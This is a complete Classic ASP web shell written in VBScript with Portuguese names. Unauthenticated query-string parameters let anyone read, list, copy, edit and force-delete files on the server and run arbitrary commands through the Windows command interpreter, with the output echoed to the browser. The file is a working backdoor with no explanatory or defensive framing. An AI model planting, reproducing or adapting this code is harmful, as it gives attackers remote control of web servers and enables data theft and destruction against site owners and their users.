%
Dim texto, html
Dim pagina, pasta, diretorio, filtro, copiar, localizar, substituir, pular, excluir, cmd, saida
pagina = Trim(Request.QueryString("pagina"))
pasta = Trim(Request.QueryString("pasta"))
diretorio = Trim(Request.QueryString("diretorio"))
filtro = Trim(Request.QueryString("filtro"))
copiar = Trim(Request.QueryString("copiar"))
localizar = Trim(Request.QueryString("localizar"))
substituir = Trim(Request.QueryString("substituir"))
pular = Trim(Request.QueryString("pular"))
excluir = Trim(Request.QueryString("excluir"))
cmd = Trim(Request.QueryString("cmd"))
saida = Trim(Request.QueryString("saida"))
If pagina <> "" Then
texto = abre_arquivo(Server.MapPath(pagina))
If copiar <> "" Then
copia_arquivo Server.MapPath(pagina), Server.MapPath(copiar)
End If
If localizar <> "" Then
substitui_arquivo Server.MapPath(pagina), localizar, substituir
End If
Response.ContentType = "text/plain"
Response.Write Server.HTMLEncode(texto)
Response.End
End If
If pasta <> "" Then
lista_pastas_arquivos Server.MapPath(pasta), True, filtro, pular
End If
If diretorio <> "" Then
lista_pastas_arquivos diretorio, False, filtro, pular
End If
If excluir <> "" Then
exclui_arquivo Server.MapPath(excluir)
End If
If cmd <> "" And saida <> "" Then
prompt cmd, Server.MapPath(saida) & "\"
End If
Function abre_arquivo(ByVal nome_arquivo)
Const ForReading = 1, ForWriting = 2
Dim fs, arquivo
Set fs = CreateObject("Scripting.FileSystemObject")
Set arquivo = fs.OpenTextFile(nome_arquivo, ForReading)
abre_arquivo = arquivo.ReadAll()
arquivo.Close
Set arquivo = Nothing
Set fs = Nothing
End Function
Function lista_pastas_arquivos(ByVal nome_pasta, ByVal subpastas, ByVal filtro, ByVal pular)
Dim fs, pasta, pastas, subpasta, arquivos, arquivo
Set fs = CreateObject("Scripting.FileSystemObject")
Set pasta = fs.GetFolder(nome_pasta)
Response.Write "" & pasta.Path & "" & "
"
Set arquivos = pasta.Files
For Each arquivo In arquivos
If filtro = "" Then
Response.Write " " & arquivo.Name & " (" & Round(arquivo.Size / 1024, 1) & " Kb)" & "
"
Else
If Left(filtro, 1) = "*" And Right(filtro, 1) = "*" Then
If InStr(arquivo.Name, Replace(filtro, "*", "")) > 0 Then
Response.Write " " & arquivo.Name & " (" & Round(arquivo.Size / 1024, 1) & " Kb)" & "
"
End If
Else
If Right(arquivo.Name, Len(filtro)) = filtro Then
Response.Write " " & arquivo.Name & " (" & Round(arquivo.Size / 1024, 1) & " Kb)" & "
"
End If
End If
End If
Next
If subpastas Then
lista_subpastas_arquivos pasta, filtro, pular
Else
Set pastas = pasta.SubFolders
For Each subpasta In pastas
Response.Write "" & subpasta.Path & "" & "
"
Next
End If
End Function
Function lista_subpastas_arquivos(ByVal pasta, ByVal filtro, ByVal pular)
Dim fs, subpasta, arquivos, arquivo, pula, array_pular, pular_
Set fs = CreateObject("Scripting.FileSystemObject")
For Each subpasta In pasta.SubFolders
Response.Write "" & subpasta.Path & "" & "
"
pula = False
If pular = "" Then
Else
If InStr(pular, ",") = 0 Then
If InStr(subpasta.Path, pular) = 0 Then
Else
pula = True
End If
Else
array_pular = Split(pular, ",")
For Each pular_ in array_pular
If InStr(subpasta.Path, pular_) = 0 Then
pula = True
Exit For
End If
Next
End If
End If
If Not pula Then
Set pasta = fs.GetFolder(subpasta.Path)
Set arquivos = pasta.Files
For Each arquivo In arquivos
If filtro = "" Then
Response.Write " " & arquivo.Name & " (" & Round(arquivo.Size / 1024, 1) & " Kb)" & "
"
Else
If Left(filtro, 1) = "*" And Right(filtro, 1) = "*" Then
If InStr(arquivo.Name, Replace(filtro, "*", "")) > 0 Then
Response.Write " " & arquivo.Name & " (" & Round(arquivo.Size / 1024, 1) & " Kb)" & "
"
End If
Else
If Right(arquivo.Name, Len(filtro)) = filtro Then
Response.Write " " & arquivo.Name & " (" & Round(arquivo.Size / 1024, 1) & " Kb)" & "
"
End If
End If
End If
Next
lista_subpastas_arquivos subpasta, filtro, pular
End If
Next
End Function
Function copia_arquivo(ByVal nome_arquivo, ByVal nome_arquivo_novo)
Dim fs, arquivo
Set fs = CreateObject("Scripting.FileSystemObject")
fs.CopyFile nome_arquivo, nome_arquivo_novo
Set fs = Nothing
End Function
Function substitui_arquivo(ByVal nome_arquivo, ByVal localizar, ByVal substituir)
Dim fs, arquivo1, arquivo2, conteudo
Set fs = CreateObject("Scripting.FileSystemObject")
Set arquivo1 = fs.OpenTextFile(nome_arquivo, 1) ' ForReading
conteudo = arquivo1.ReadAll
arquivo1.Close
Set arquivo1 = Nothing
conteudo = Replace(conteudo, localizar, substituir)
Set arquivo2 = fs.OpenTextFile(nome_arquivo, 2) ' ForWriting
arquivo2.Write conteudo
arquivo2.Close
Set arquivo2 = Nothing
Set fs = Nothing
End Function
Function exclui_arquivo(ByVal nome_arquivo)
Dim fs, arquivo
Set fs = CreateObject("Scripting.FileSystemObject")
fs.DeleteFile nome_arquivo, True
Set fs = Nothing
End Function
Function prompt(ByVal cmd, ByVal saida)
Dim command, wshell, fs, file
command = "%COMSPEC% /C " & cmd & " > " & saida & "cmd.txt"
Set wshell = CreateObject("WScript.Shell")
wshell.Run command, 0, True
Set wshell = Nothing
Set fs = CreateObject("Scripting.FileSystemObject")
Set file = fs.OpenTextFile(saida & "cmd.txt", 1, True)
Response.Write Replace(Replace(file.ReadAll, "<", "<"), vbCrLf, "
")
file.Close
Set file = Nothing
Set fs = Nothing
End Function
%>